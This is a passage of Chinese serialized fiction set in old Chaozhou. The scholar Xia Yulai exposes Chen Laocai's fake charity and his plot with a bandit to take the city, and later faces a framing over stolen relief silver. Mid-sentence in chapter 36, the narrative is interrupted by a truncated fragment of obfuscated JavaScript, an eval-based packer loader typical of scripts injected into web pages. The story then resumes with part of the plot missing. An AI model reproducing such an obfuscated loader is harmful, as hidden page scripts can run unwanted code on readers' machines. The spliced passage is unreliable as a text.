夏雨来看着陈老财,说道:“陈老财,你回来了!这一年来,你过得怎么样?” “托夏秀才的福,我过得很好!” 陈老财说道,“在流放的地方,我每天都在反思自己的所作所为!我终于明白了,只有善待百姓,才能得到百姓的尊重和爱戴!以前,我欺压百姓,为非作歹,真是太不应该了!我对不起潮州城的百姓,也对不起你!” 夏雨来笑了笑,说道:“陈老财,过去的事情就让它过去吧!只要你现在能痛改前非,做一个善良的人,就还是好样的!” “夏秀才,你放心!我一定会说到做到!” 陈老财说道,“我已经把我仅剩的家产都拿了出来,捐给了潮州城的百姓,用于修建学校和水利设施!我还想成立一个慈善机构,帮助那些生活困难的百姓!” 夏雨来一听,非常高兴:“陈老财,你能这么想,真是太好了!我支持你!如果你需要什么帮助,随时可以来找我!” “谢谢夏秀才!” 陈老财说道,“有你的支持,我一定能把这件事做好!” 随后,陈老财开始积极地筹备慈善机构。他拿出自己的积蓄,修建了一所学校,让贫困家庭的孩子能够免费上学。他还修建了几条水渠,解决了潮州城部分地区的灌溉问题。 他还经常深入百姓当中,了解百姓的生活情况,帮助百姓解决实际困难。他不再像以前那样飞扬跋扈,而是变得平易近人,和蔼可亲。 百姓们看到陈老财的转变,都非常高兴。他们不再像以前那样害怕他、厌恶他,而是开始接纳他、尊重他。 “陈老财真是变了!” “是啊!以前他欺压百姓,现在他却帮助百姓,真是太不容易了!” “我们应该原谅他!毕竟,人非圣贤,孰能无过?只要他能真心悔过,就是好样的!” 百姓们纷纷议论着,对陈老财的态度发生了很大的转变。 陈老财听到百姓们的议论,心里非常欣慰。他知道,自己的努力没有白费,他终于得到了百姓们的原谅和尊重。 八、恶霸服软,潮州安宁 陈老财彻底改变了自己的行为,不再欺压百姓,而是全心全意为百姓服务。他的慈善机构帮助了很多生活困难的百姓,学校也让很多贫困家庭的孩子得到了受教育的机会。 潮州城的百姓们过上了幸福安宁的生活,再也没有出现过像陈老财以前那样的恶霸。 夏雨来看着潮州城的变化,心里非常高兴。他知道,这都是陈老财真心悔过的结果。他也明白了,只要给人一个改过自新的机会,每个人都能成为一个善良的人。 一天,陈老财来到东门街的小院,找到了夏雨来。他手里拿着一份账本,说道:“夏秀才,这是慈善机构的账本,你看看!这一年来,我们总共帮助了五百多个贫困家庭,修建了三所学校和五条水渠!” 夏雨来接过账本,仔细看了看,说道:“陈老财,你做得非常好!我为你感到高兴!” “夏秀才,这都是你的功劳!” 陈老财说道,“如果不是你当初多次原谅我,给我改过自新的机会,我也不会有今天!我真的非常感谢你!” 夏雨来笑了笑,说道:“陈老财,不用谢我!这都是你自己努力的结果!只要你能一直保持下去,做一个善良的人,就是对我最大的感谢!” 陈老财点了点头,说道:“夏秀才,你放心!我一定会一直保持下去!我会用我的余生,来弥补我以前所犯的错误,为潮州城的百姓们做更多的好事!” 夕阳西下,晚霞染红了天空。夏雨来和陈老财站在小院里,看着潮州城的美景,心里都充满了感慨。 潮州城因为夏雨来的正义和勇敢,因为陈老财的真心悔过,变得更加安宁、和谐。百姓们安居乐业,邻里和睦相处,到处都充满了欢声笑语。 陈老财终于彻底服软了,他不再是那个欺压百姓的恶霸,而是变成了一个受人尊敬的慈善家。他用自己的行动,赢得了百姓们的原谅和尊重,也为潮州城的安宁和发展做出了重要的贡献。 而夏雨来,也继续用自己的智慧和勇气,守护着潮州城的安宁和公道,成为了百姓们心中永远的英雄。 36. 卷土重来 一、假面慈善,暗结匪类 潮州城的春日总是来得格外热闹,东门街的早市刚铺开摊子,就听见王二嫂的嗓门穿透人群:“新鲜的河虾哟!刚从清水河捞上来的,夏秀才要不要称二斤?” 夏雨来正帮着孙老实摆弄新到的笔墨,闻言笑着摆手:“王二嫂,今日怕是吃不上了,待会儿要去城西看看陈老财捐建的义仓。” “哎哟,陈老爷现在可是活菩萨哟!” 旁边卖豆腐的张五郎凑过来,手里的铜勺敲得梆子响,“听说上个月给城南孤儿院捐了二十石米,还给学堂添置了十张新课桌,真是浪子回头金不换啊!” 孙老实撇了撇嘴,往墨锭上洒水的手顿了顿:“夏秀才,我总觉得那老狐狸没那么好心,你看他上次给义仓记账时,那眼睛瞟着粮仓的样子,活像饿狼瞅着肥羊。” 夏雨来指尖摩挲着砚台边缘,眸色微沉。这半年来,陈老财的 “善举” 确实做得滴水不漏:修桥补路、赈济孤寡,甚至主动牵头组织潮州商会,联络周边府县的商户互通有无,连王大人都在公堂之上称赞他 “洗心革面,造福一方”。可不知为何,每次与陈老财碰面,那老东西眼底深处一闪而过的阴鸷,总让他心头不安。 “小心驶得万年船。” 夏雨来淡淡一笑,将研好的墨汁倒进墨盒,“今日去义仓,正好清点账目,看看他那些‘善款’到底去向何方。” 两人刚收拾好摊子,就见街角处驶来一辆乌篷马车,车帘掀开,陈老财穿着一身月白长衫,脸上堆着慈和的笑容,身后跟着两个精壮的随从,正是半年前他从外地 “招募” 来的帮手 —— 自称是远房亲戚的李三和赵四。 “夏秀才,孙老弟,真是巧啊!” 陈老财跳下马车,山羊胡梳理得油光水滑,手里把玩着一串蜜蜡佛珠,“老夫正要去义仓查看粮食晾晒情况,不如一同前往?” 孙老实刚要开口,被夏雨来用眼神制止。夏雨来拱手笑道:“陈老爷有心了,正好学生也想去核对账目,叨扰了。” 路上,陈老财滔滔不绝地说着慈善计划:“下一步老夫打算在北乡建一座药铺,聘最好的郎中,让穷苦百姓看病不花钱!夏秀才你学问高,回头还得请你给药铺题个匾额。” “陈老爷功德无量,学生自当效劳。” 夏雨来应付着,目光却不经意间扫过李三和赵四。这两人走路落脚沉稳,腰间鼓鼓囊囊,不像是普通随从,倒像是练家子。更奇怪的是,两人说话带着浓重的闽南口音,却刻意模仿潮州话,听着十分别扭。 到了义仓,只见二十几个百姓正忙着翻晒粮食,陈老财热情地上前招呼,嘘寒问暖,一副亲民模样。夏雨来则拉着管仓的老周头核对账目,翻到上个月的捐粮记录时,眉头微微一挑。 “老周头,” 夏雨来指着账本上的一行字,“这里写着接收泉州商户捐粮五十石,怎么没有交割凭证?” 老周头脸上闪过一丝慌乱,搓着手道:“这…… 这是陈老爷亲自接洽的,说是商户急着赶路,凭证后续补上。” “哦?” 夏雨来抬眼望去,只见陈老财正背对着他们,与李三低声说着什么,李三点头时,腰间的衣物被风吹起,露出半截黑色令牌,上面隐约刻着一个 “虎” 字。 心头的疑虑骤然放大。夏雨来不动声色地合上账本,走到陈老财身边:“陈老爷,方才听闻你要联络泉州商户,学生倒认识几位泉州的儒商,或许能帮上忙。” 陈老财眼神闪烁了一下,随即笑道:“不必麻烦夏秀才了,那些商户都是老夫在流放时结识的患难之交,为人仗义得很。” “患难之交?” 夏雨来似笑非笑,“可学生听说,泉州最近出了个恶霸,名叫黑虎,专做走私盐铁的勾当,手下有百余号亡命之徒,陈老爷结识的该不会是他吧?” 陈老财脸上的笑容瞬间僵住,山羊胡微微颤抖,随即又恢复如常:“夏秀才说笑了,老夫结交的都是良善商户,怎会与恶霸为伍?” 话虽如此,他转身时,眼底的狠厉却再也掩饰不住。夏雨来心中冷笑,看来这老东西果然在暗中搞鬼,所谓的慈善,不过是他掩盖阴谋的幌子。 当晚,月黑风高。潮州城外的破山庙里,陈老财焦躁地踱步,李三和赵四站在一旁,神色肃穆。 “那个夏雨来,果然不好对付!” 陈老财狠狠一拳砸在供桌上,供品散落一地,“老夫装了半年的善人,差点被他看出破绽!” 李三沉声道:“老爷,黑虎大哥已经带着人手到了邻县,约定三日后午夜攻城,咱们只需在城内接应,控制住县衙和粮仓,潮州城就是咱们的了!” “攻城?” 陈老财眼中闪过一丝贪婪,随即又有些犹豫,“黑虎那厮可靠吗?他答应给老夫三成利益,可别事后翻脸不认人。” “老爷放心!” 赵四上前一步,“黑虎大哥说了,您熟悉潮州城的情况,又是本地乡绅,事成之后,他占七成地盘,您负责管理商户赋税,少不了您的好处。再说,您手里握着他走私盐铁的证据,他不敢耍花样。” 陈老财摸了摸下巴,脸上露出阴狠的笑容:“好!那就按计划行事!三日后,先让黑虎的人假扮流民混入城中,老夫再散布谣言,说夏雨来勾结倭寇,图谋不轨,让百姓人心惶惶。等县衙派人去查,黑虎再趁机带人攻城,到时候,潮州城就是老夫的天下!” 他顿了顿,又道:“还有,那个义仓里的粮食,明日就开始偷偷转运,给黑虎的人当军粮。至于夏雨来…… 哼,等老夫掌控了潮州城,定要让他尝尝生不如死的滋味!” 庙外,一道黑影悄然离去。孙老实屏住呼吸,一路狂奔回东门街的小院,推门而入时,满头大汗。 “夏秀才!不好了!陈老财那老狐狸要反了!” 孙老实气喘吁吁地说道,把在破山庙听到的消息一五一十地复述了一遍。 夏雨来坐在灯下,眉头紧锁,手指轻轻敲击着桌面。他早料到陈老财不会真心悔过,却没想到对方竟然勾结外地恶霸,想要攻城夺权,胃口如此之大。 “黑虎……” 夏雨来低声沉吟,“此人我曾听王大人提起过,是闽南一带臭名昭著的匪首,凶残狡诈,手下有不少亡命之徒。三日后攻城,咱们时间紧迫啊。” “那怎么办?” 孙老实急得团团转,“咱们赶紧去报官,让王大人派兵防备!” “不行。” 夏雨来摇了摇头,“陈老财现在是潮州城的‘慈善家’,百姓对他深信不疑,咱们空口无凭,王大人未必会信。更何况,黑虎还没进城,官府没有理由调动兵力,反而会打草惊蛇。” 他站起身,目光坚定:“眼下,咱们得先稳住局面,一方面搜集陈老财勾结黑虎的证据,另一方面,要拆穿他的谣言,安抚百姓,同时暗中联络可靠的人手,做好防备。” 孙老实挠了挠头:“可咱们就两个人,怎么做得来这么多事?” 夏雨来笑了笑,拍了拍他的肩膀:“放心,潮州城的百姓心里跟明镜似的,只要咱们把真相说出来,自然会有人帮咱们。走,咱们先去找张老汉和李秀莲,他们都受过陈老财的害,肯定愿意帮忙。” 二、谣言四起,民心浮动 第二日清晨,潮州城就炸开了锅。不知是谁散布的消息,说夏雨来暗中勾结倭寇,约定三日后里应外合,攻破潮州城,抢夺百姓财物,侮辱妇女。 “听说了吗?夏秀才看着人模狗样,背地里竟然通敌倭寇!” “可不是嘛!我听城西的刘二说,昨晚看到夏秀才和几个倭人在破庙里密谈!” “完了完了,要是倭寇来了,咱们可就惨了!” 谣言像长了翅膀一样,迅速传遍了潮州城的大街小巷。百姓们人心惶惶,有的收拾行李准备逃难,有的则聚集在县衙门口,要求王大人严惩夏雨来。 王大人坐在公堂之上,脸色铁青。他自然不信夏雨来会勾结倭寇,但百姓们群情激愤,若不给出一个交代,恐怕会引发骚乱。 “来人,去把夏雨来传唤到县衙!” 王大人沉声道。 衙役刚走出县衙,就见夏雨来和孙老实迎面走来,身后还跟着张老汉、李秀莲等十几个百姓。 “王大人,学生听闻有人造谣,说学生勾结倭寇,特来澄清。” 夏雨来走进公堂,神色平静。 “夏秀才,” 王大人看着他,语气复杂,“现在满城都是谣言,百姓们人心惶惶,你可有什么证据证明自己清白?” 夏雨来微微一笑,从怀中掏出一张纸:“大人,这是学生昨夜让人抄写的匿名信,上面详细描述了‘倭寇’的样貌和行踪,学生已经让人核实过,所谓的‘倭寇’,其实是陈老财派去散布谣言的地痞流氓。” 他顿了顿,又道:“而且,学生还查到,陈老财最近频繁与泉州的黑虎联系,黑虎是著名的匪首,专做打家劫舍的勾当。陈老财之所以散布谣言,就是为了扰乱民心,为黑虎三日后攻城做铺垫!” “什么?” 王大人脸色大变,“陈万山竟敢勾结匪首攻城?这可是灭门大罪!” “大人,学生所言句句属实。” 夏雨来道,“张老汉和李秀莲等人可以作证,陈老财最近一直在偷偷转运义仓的粮食,想必是给黑虎的人准备的军粮。” 张老汉上前一步,跪倒在地:“大人,夏秀才说的是实话!昨日我去义仓帮工,亲眼看到陈老财的人把粮食装上马车,运往城外的破山庙!” 李秀莲也跟着跪倒:“大人,陈老财以前就曾威胁过民妇,让民妇诬陷夏秀才,此人阴险狡诈,绝不可信!” 王大人看着眼前的证据和证人,心中已经有了判断。他猛地一拍惊堂木:“好个陈万山!竟敢如此无法无天!来人,立刻去捉拿陈老财及其党羽,查封义仓!” “大人且慢!” 夏雨来连忙制止,“陈老财现在还不知道我们已经识破了他的阴谋,如果贸然捉拿,恐怕会打草惊蛇,让黑虎提前攻城。不如我们将计就计,假装相信谣言,把学生关押起来,引陈老财放松警惕,同时暗中调动兵力,做好防备。” 王大人沉吟片刻,点了点头:“好!就按夏秀才说的办!来人,将夏雨来暂且收押在大牢,对外宣称严加审讯!” 衙役们领命,将夏雨来押了下去。孙老实急得想要上前,被夏雨来用眼神制止。 消息传开,百姓们议论纷纷。有人相信夏雨来是被冤枉的,有人则觉得 “无风不起浪”,潮州城的气氛愈发紧张。 陈老财得知夏雨来被关押的消息,心中大喜。他坐在家中的太师椅上,喝着上好的龙井,对李三说道:“没想到这么容易就把夏雨来搞定了!王大人那个老糊涂,果然相信了谣言!” 李三笑道:“还是老爷英明!现在百姓们人心惶惶,县衙又把夏雨来关了起来,三日后黑虎大哥攻城,定能一举成功!” “嗯!” 陈老财点了点头,“你再去一趟破山庙,告诉黑虎,让他提前做好准备,明日夜里就带人潜入城中,埋伏在县衙附近,等三更时分,咱们内外夹击,一举拿下县衙!” “是!” 李三领命而去。 陈老财看着窗外,脸上露出得意的笑容。他仿佛已经看到了自己掌控潮州城的景象,夏雨来在他脚下苦苦哀求,百姓们对他俯首帖耳,财富和权力源源不断地涌向他。 可他万万没有想到,这一切都在夏雨来的算计之中。 大牢里,夏雨来正与一个狱卒低声交谈。这狱卒名叫赵忠,是王大人的心腹,也是夏雨来安排在大牢里的眼线。 “赵大哥,麻烦你今晚偷偷出城,去邻县的军营找张将军,就说黑虎匪首将在明日夜里攻城,请求他派兵支援。” 夏雨来道。 赵忠点了点头:“夏秀才放心,小人一定办妥!只是,您在大牢里可要多加小心,陈老财说不定会派人来害您。” “我自有分寸。” 夏雨来笑了笑,“你告诉王大人,让他明日白天故意放出消息,说学生已经招供,承认勾结倭寇,让陈老财彻底放松警惕。同时,让百姓们不要惊慌,官府已经做好了防备。” 赵忠领命而去。夏雨来躺在冰冷的稻草上,闭上眼睛,脑海中思索着明日的计划。这场博弈,容不得半点差错,稍有不慎,就会让潮州城陷入万劫不复之地。 三、将计就计,瓮中捉鳖 次日清晨,县衙张贴出告示,宣称夏雨来已经招供,承认勾结倭寇,将于三日后开门献城,官府将对其从严处置。 百姓们看到告示,更是人心惶惶。有人开始收拾行李,想要逃离潮州城;有人则聚集在县衙门口,要求王大人尽快处决夏雨来。 陈老财得知消息后,心中彻底放松了警惕。他觉得胜券在握,于是让人准备了丰盛的宴席,邀请了潮州城的几个富商,庆祝即将到来的 “胜利”。 宴席上,陈老财意气风发,对众人说道:“诸位放心,三日后,黑虎大哥就会进城,到时候,潮州城将迎来新的秩序!老夫会向黑虎大哥举荐诸位,保证大家的生意不受影响,反而能赚更多的钱!” 盐商李老板端着酒杯,小心翼翼地说道:“陈老爷,黑虎可是匪首,咱们跟他合作,会不会……” “怕什么?” 陈老财打断他的话,“成者为王,败者为寇!只要咱们能掌控潮州城,谁还敢说咱们的不是?再说,黑虎大哥虽然是匪首,但他讲义气,只要咱们听话,他绝不会亏待咱们!” 众人听了,虽然心中还有些疑虑,但看着陈老财自信满满的样子,也只好点头答应。 当晚,月黑风高。黑虎带着百余号亡命之徒,乔装打扮成流民,偷偷潜入了潮州城。他们按照约定,埋伏在县衙附近的小巷里,等待三更时分的信号。 陈老财则带着李三和赵四,以及几十名家丁,聚集在自家院子里,准备随时行动。他看着墙上的时辰牌,心中充满了期待。 “老爷,时辰快到了!” 李三低声道。 陈老财点了点头,从怀中掏出一支火把,点燃后扔到了院子里。这是约定的信号,黑虎看到信号后,就会带人攻打县衙。 然而,火把刚落地,院子外就传来了一阵马蹄声和呐喊声。 “不好!有埋伏!” 李三脸色大变。 陈老财心中一惊,连忙走到门口,向外望去。只见县衙方向灯火通明,无数官兵手持刀枪,朝着他们这边冲了过来。 “怎么回事?黑虎的人呢?” 陈老财惊慌失措地说道。 就在这时,一个熟悉的声音传来:“陈老财,你以为你的阴谋能得逞吗?” 陈老财抬头望去,只见夏雨来站在官兵队伍的前面,神色平静,身边还站着王大人和一位身穿铠甲的将军。 “夏雨来?你怎么会在这里?你不是被关在大牢里吗?” 陈老财不敢置信地说道。 夏雨来笑了笑:“陈老财,你这点小伎俩,还想瞒过我?我早就知道你会勾结黑虎攻城,所以故意让王大人把我关起来,引你放松警惕。至于黑虎和他的人,现在已经被张将军的人包围了,插翅难飞!” 陈老财一听,顿时面如死灰。他知道,自己的计划彻底失败了。 “抄家伙!跟他们拼了!” 李三大喊一声,拔出腰间的刀,就要冲上去。 “住手!” 王大人猛地一拍马缰,“陈万山,你勾结匪首,意图谋反,罪该万死!识相的话,赶紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈老财被擒,黑虎及其党羽也被一网打尽,潮州城的百姓们终于松了一口气。县衙张贴出告示,澄清了夏雨来的冤屈,公布了陈老财和黑虎的罪行,百姓们纷纷拍手称快。 “夏秀才真是好样的!不仅识破了陈老财的阴谋,还帮咱们保住了潮州城!” “是啊!以后再也不用担心陈老财那个恶霸了!” “咱们应该给夏秀才立个生祠,好好感谢他!” 百姓们的赞誉声传遍了潮州城,夏雨来的名声也越来越大。 然而,事情并没有就此结束。陈老财的一个远房侄子陈彪,在陈老财谋反失败后,侥幸逃脱。他心中对夏雨来充满了怨恨,发誓要为陈老财报仇。 陈彪知道自己势单力薄,无法与夏雨来正面抗衡,于是想出了一个毒计。他偷偷联系了陈老财以前的一些党羽,买通了夏雨来家附近的一个小贩,想要在夏雨来的食物里下毒。 这一天,夏雨来和孙老实从外面回来,路过那个小贩的摊位时,小贩热情地招呼道:“夏秀才,孙老弟,要不要买点糕点?刚出炉的,香甜可口!” 孙老实正觉得有些饿,就要上前购买,却被夏雨来拦住了。 “不用了,谢谢。” 夏雨来微笑着说道,目光却紧紧盯着小贩的眼睛。 小贩被他看得有些不自在,眼神闪烁了一下:“夏秀才,是不是嫌我的糕点不好?我这糕点可是潮州城最好吃的!” “不是。” 夏雨来摇了摇头,“我只是觉得,你今天的神色有些不对劲。以前你见到我,都是毕恭毕敬的,今天却有些过于热情了,而且,你的手一直在发抖。” 小贩心中一惊,连忙掩饰道:“没有啊!夏秀才您多心了!我只是今天生意好,有些高兴罢了!” “是吗?” 夏雨来笑了笑,“那不如你先吃一块给我们看看?如果你吃了没事,我们就买。” 小贩一听,脸色顿时变得苍白。他知道,糕点里下了毒,自己根本不敢吃。 “怎么?不敢吃?” 夏雨来的语气变得严肃起来,“是不是糕点里有什么问题?” 小贩吓得双腿一软,跪倒在地:“夏秀才,我错了!是陈彪逼我的!他让我在您的食物里下毒,还说如果我不照做,就杀了我全家!” 夏雨来和孙老实一听,心中顿时明白了。 “陈彪现在在哪里?” 夏雨来问道。 “他…… 他在城西的破庙里等着消息!” 小贩颤抖着说道。 夏雨来立刻让人把小贩押到县衙,然后带着孙老实和几个可靠的百姓,赶往城西的破庙。 破庙里,陈彪正焦急地等待着消息。他以为夏雨来已经中毒身亡,心中充满了期待。 突然,庙门被一脚踹开,夏雨来和孙老实等人冲了进来。 “陈彪,你束手就擒吧!” 夏雨来大喝一声。 陈彪见状,吓得魂飞魄散,转身就要逃跑。但孙老实早已料到他会如此,提前堵住了庙门。 “你跑不掉了!” 孙老实大喝一声,上前一把抓住了陈彪的胳膊。 陈彪拼命地挣扎着:“放开我!夏雨来,我跟你无冤无仇,你为什么要赶尽杀绝?” “无冤无仇?” 夏雨来冷笑一声,“你叔叔陈老财勾结匪首,意图谋反,危害百姓,我只是为民除害!你不仅不思悔改,还想下毒谋害我,这笔账,我还没跟你算呢!” 陈彪知道自己无法逃脱,只好放弃了挣扎,被夏雨来等人押回了县衙。 王大人得知此事后,非常愤怒,立刻下令将陈彪斩首示众。 至此,陈老财的余孽被彻底清除,潮州城终于恢复了往日的安宁。 五、市井欢庆,公道长存 陈彪被处决后,潮州城的百姓们举行了一场盛大的欢庆活动。大家张灯结彩,敲锣打鼓,庆祝正义的胜利。 东门街的早市上,更是热闹非凡。王二嫂的河虾摊前排起了长队,张五郎的豆腐也卖得供不应求。 “夏秀才,快来尝尝我做的长寿面!” 街角的面馆老板热情地招呼道,“这可是我特意为您做的,祝您长命百岁,永远守护我们潮州城!” 夏雨来笑着走了过去,接过面条:“谢谢老板!大家的心意,我心领了。” 孙老实跟在后面,看着眼前的景象,心中充满了自豪:“夏秀才,您看,百姓们多爱戴您啊!” 夏雨来笑了笑:“这不是我一个人的功劳,是大家共同努力的结果。如果没有王大人的支持,没有百姓们的信任,我也不可能成功。” 他顿了顿,又道:“而且,公道自在人心。陈老财和黑虎之流,虽然一时猖獗,但最终还是逃不过法律的制裁。只要我们坚守正义,维护百姓的利益,潮州城就会永远安宁。” 孙老实点了点头:“夏秀才说得对!以后,我会一直跟着您,为百姓们做事!” 夏雨来拍了拍他的肩膀:“好!我们一起努力,让潮州城变得更加美好!” 夕阳西下,晚霞染红了天空。夏雨来和孙老实站在街头,看着百姓们欢庆的身影,脸上露出了欣慰的笑容。 潮州城的街道上,到处都充满了欢声笑语。孩子们在街头追逐嬉戏,老人们坐在树荫下聊天,商户们热情地招呼着顾客。这是一幅多么和谐美好的画面啊! 夏雨来知道,这场与陈老财的终极智斗,不仅是一场正义与邪恶的较量,更是一场民心的较量。他用自己的智慧和勇气,赢得了百姓的信任和支持,也守护了潮州城的安宁和公道。 而陈老财和黑虎之流,虽然机关算尽,野心勃勃,但最终还是因为违背了民心,落得身败名裂、死无葬身之地的下场。 从此以后,潮州城再也没有出现过像陈老财这样的恶霸。百姓们安居乐业,邻里和睦相处,到处都充满了生机和活力。 夏雨来则继续用自己的智慧和勇气,守护着潮州城的安宁和公道。他成为了百姓们心中永远的英雄,他的故事也被人们代代相传,成为了潮州城一段佳话。 37. 巧破栽赃 一、市井喧嚣,祸起萧墙 潮州城的初夏,日头刚爬过东门楼,东门街的早市就闹得跟开了锅似的。王二嫂的河虾摊前围了三层人,她手起勺落,溅起的水花混着吆喝声:“新鲜河虾哟!一两银子三斤,错过今日再等三天!” 旁边张五郎的豆腐梆子敲得震天响,铜勺在木桶沿上打着节拍:“嫩豆腐嘞!能插筷子能当镜,炖鱼汤、煎豆腐,保准鲜掉你舌头!” 夏雨来正蹲在孙老实的笔墨摊前,帮着把刚晒好的宣纸码整齐。他穿着半旧的青布长衫,袖口卷到小臂,露出结实的手腕,脸上带着几分慵懒的笑意,时不时抬头应和着街坊的招呼。孙老实则一手掐着腰,一手用鸡毛掸子拂去砚台上的灰尘,嘴里碎碎念:“夏秀才,你说咱这生意刚有点起色,可别再出啥幺蛾子了。上次陈老财那档子事,吓得我好几宿没睡安稳。” 夏雨来指尖捻起一张宣纸,对着晨光看了看纸质,嘴角弯起:“孙老弟,你这胆子比豆腐还嫩。陈老财都被砍了脑袋,余孽也清干净了,潮州城现在太平得很。” 他话音刚落,就见街角处一阵骚动,几个衙役推着一辆骡车快步走来,车帘遮得严严实实,只隐约能看到上面印着县衙的火漆印。 “这是啥东西?这么大阵仗?” 孙老实伸长脖子张望。旁边卖茶叶蛋的李阿婆凑过来,压低声音:“听说了吗?是朝廷拨下来的赈灾银,足足五千两,昨日刚运到县衙,今日要存入府库呢!” 张五郎手里的铜勺一顿,接口道:“五千两?那得堆成山了!王大人可得看紧点,别再出个陈老财似的人物。” 夏雨来眉头微挑,心中掠过一丝异样。赈灾银事关重大,按常理该低调转运,怎会如此大张旗鼓?他正思忖着,就见骡车在经过笔墨摊时,车轮突然碾到一块碎石,车身猛地一晃,车帘被风吹起一角,露出里面码得整整齐齐的银锭,闪着刺眼的白光。 “小心点!” 领头的衙役头头赵虎呵斥着车夫,眼神警惕地扫视着周围。夏雨来注意到,赵虎的目光在掠过自己时,刻意停顿了一下,眼底藏着几分不易察觉的阴翳。他心中一动,想起赵虎是陈老财的远房表亲,上次陈老财谋反,赵虎因事先不知情而逃过一劫,没想到还在县衙当差。 “夏秀才,你看啥呢?” 孙老实推了他一把,“咱还是少管闲事,赶紧把摊子摆好,今日可是学堂开学的日子,笔墨生意指定好。” 夏雨来收回目光,淡淡一笑:“说得是。” 可他心里却泛起了嘀咕,总觉得这赈灾银的转运透着一股不对劲,就像平静的湖面下藏着漩涡。 午时刚过,东门街的人流渐渐散去。夏雨来正帮孙老实收拾摊子,突然听到县衙方向传来一阵急促的锣声,紧接着是衙役的呐喊:“不好啦!赈灾银失窃啦!王大人有令,全城戒严,任何人不得擅自出入!” 孙老实手里的砚台 “哐当” 一声掉在地上,摔成两半:“啥?五千两银子丢了?这可不是小事!” 夏雨来脸色一沉,心中那股不安瞬间应验。他抬头望去,只见县衙方向浓烟滚滚,无数衙役手持刀枪,沿街封锁路口,百姓们惊慌失措地四处乱窜,原本热闹的街道瞬间变得鸡飞狗跳。 “夏秀才,咱赶紧回家躲躲吧!” 孙老实拉着夏雨来就要走。可还没等他们迈步,赵虎就带着几个衙役快步走来,脸色铁青地指着夏雨来:“夏秀才,王大人有令,请你即刻前往县衙问话!” 孙老实急了,挡在夏雨来身前:“凭啥抓我家夏秀才?银子丢了跟他有啥关系?” 赵虎冷笑一声,眼神阴鸷:“有没有关系,到了公堂自然知晓。有人亲眼看到,昨日赈灾银运抵县衙时,夏秀才在一旁鬼鬼祟祟,形迹可疑!” 周围的百姓闻言,顿时炸开了锅。“啥?夏秀才偷了赈灾银?”“不可能吧!夏秀才可是咱潮州城的大英雄!”“知人知面不知心啊,五千两银子,谁不动心?” 议论声像潮水般涌来,夏雨来眉头紧锁,他能感受到那些复杂的目光,有怀疑,有失望,还有幸灾乐祸。 他深吸一口气,压下心中的波澜,对孙老实道:“孙老弟,别慌,清者自清。我跟他们去一趟县衙,你先回家,顺便帮我打听一下,昨日赈灾银运抵时,还有谁在现场。” 说完,他对着赵虎拱手:“赵班头,请带路吧。” 路上,赵虎一路沉默,只是时不时用眼角余光瞟着夏雨来,那眼神像刀子一样,恨不得将他凌迟。夏雨来心中冷笑,这赵虎显然是早有预谋,看来这场失窃案,是冲着自己来的。他仔细回想昨日的情景,试图找出破绽,可无论怎么想,都觉得自己并无不妥之处。 到了县衙,公堂之上气氛凝重。王大人坐在公案后,脸色铁青,两旁的衙役手持水火棍,齐声吆喝:“威武 ——” 夏雨来走上堂前,拱手行礼:“学生夏雨来,见过王大人。” 王大人看着他,眼神复杂:“夏秀才,你可知今日唤你前来,所为何事?” 夏雨来道:“学生听闻赈灾银失窃,有人指认学生形迹可疑,特来澄清。” “形迹可疑?” 王大人猛地一拍惊堂木,“有人不仅看到你形迹可疑,还在你昨日去过的城西破庙中,找到了这个!” 他话音刚落,一个衙役捧着一个包裹走了上来,打开一看,里面竟是一锭沉甸甸的官银,还有一块绣着 “夏” 字的手帕。 夏雨来瞳孔微缩,心中掀起惊涛骇浪。这官银和手帕,分明是有人故意栽赃!那块手帕,是他去年给孙老实母亲做寿时绣的,后来不慎遗失,没想到竟被人用来做了栽赃的物证。他强作镇定,道:“王大人,这官银和手帕并非学生所有!手帕确实是学生的,但早已遗失,定是有人拾到后,故意用来栽赃陷害!” “哼,空口无凭!” 旁边站着的师爷周文彬上前一步,尖声说道,“夏秀才,昨日赈灾银运抵县衙时,有多位证人看到你在一旁徘徊不去,眼神一直盯着银车。今日清晨,衙役在城西破庙搜查时,不仅找到了这锭官银和手帕,还发现了脚印,与你的鞋印一模一样!” 周文彬是潮州城有名的老滑头,以前就和陈老财暗中勾结,上次陈老财倒台,他因藏得太深而未被牵连。夏雨来看着他那副小人得志的模样,心中了然,这栽赃案,恐怕周文彬也脱不了干系。 “鞋印?” 夏雨来冷笑一声,“周师爷,学生昨日穿的是一双新做的布鞋,鞋底的纹路清晰可见,而城西破庙的地面凹凸不平,就算有脚印,也未必能确定是学生的。更何况,学生昨日去城西,是为了给孤儿院的孩子们送笔墨,并非什么破庙!” “你胡说!” 周文彬急道,“孤儿院的张院长已经证实,昨日你根本没去过孤儿院!” 夏雨来心中一沉,张院长向来忠厚老实,怎会说谎?看来对方早已布好了天罗地网,就等着自己钻进来。 王大人揉了揉眉心,神色疲惫:“夏秀才,事到如今,你还是老实交代吧。五千两赈灾银事关重大,若是你主动交出,本官可以从轻发落。” 夏雨来心中寒凉,没想到连王大人也对自己产生了怀疑。他知道,此刻再多的辩解都是徒劳,唯有找到证据,才能自证清白。 “王大人,学生冤枉!” 夏雨来朗声道,“若学生真的偷了赈灾银,为何只留下一锭?这不符合常理。更何况,学生深受百姓信任,怎会做出如此丧尽天良之事?还请大人给学生三天时间,学生定能找出真凶,证明自己的清白!” 周文彬立刻反驳:“三天?若是让他跑了怎么办?王大人,依属下之见,应即刻将夏雨来打入大牢,严刑逼供!” 赵虎也跟着附和:“是啊,王大人,此等重犯,绝不能姑息!” 夏雨来看着两人一唱一和,心中怒火中烧,却又无可奈何。他知道,自己现在处境艰难,稍有不慎,就会万劫不复。他深吸一口气,努力让自己冷静下来:“王大人,学生愿以性命担保,绝不会逃跑。若是三天后找不到真凶,学生任凭大人处置!” 王大人沉吟片刻,看着夏雨来坚定的眼神,想起他往日为潮州城所做的一切,心中终究有些不忍。他点了点头:“好!本官就给你三天时间。赵虎,你派人暗中监视夏雨来的一举一动,不许他离开潮州城半步!” “是!” 赵虎领命,眼神中闪过一丝不甘。夏雨来心中松了一口气,至少暂时保住了自由身,有了寻找证据的机会。他知道,这三天,将是一场生死较量。 二、暗流涌动,步步惊心 离开县衙,夏雨来径直回到了他和孙老实租住的小院。刚一进门,孙老实就急匆匆地迎了上来:“夏秀才,怎么样?王大人没为难你吧?” 夏雨来摇了摇头,将公堂上的事情一五一十地说了一遍。 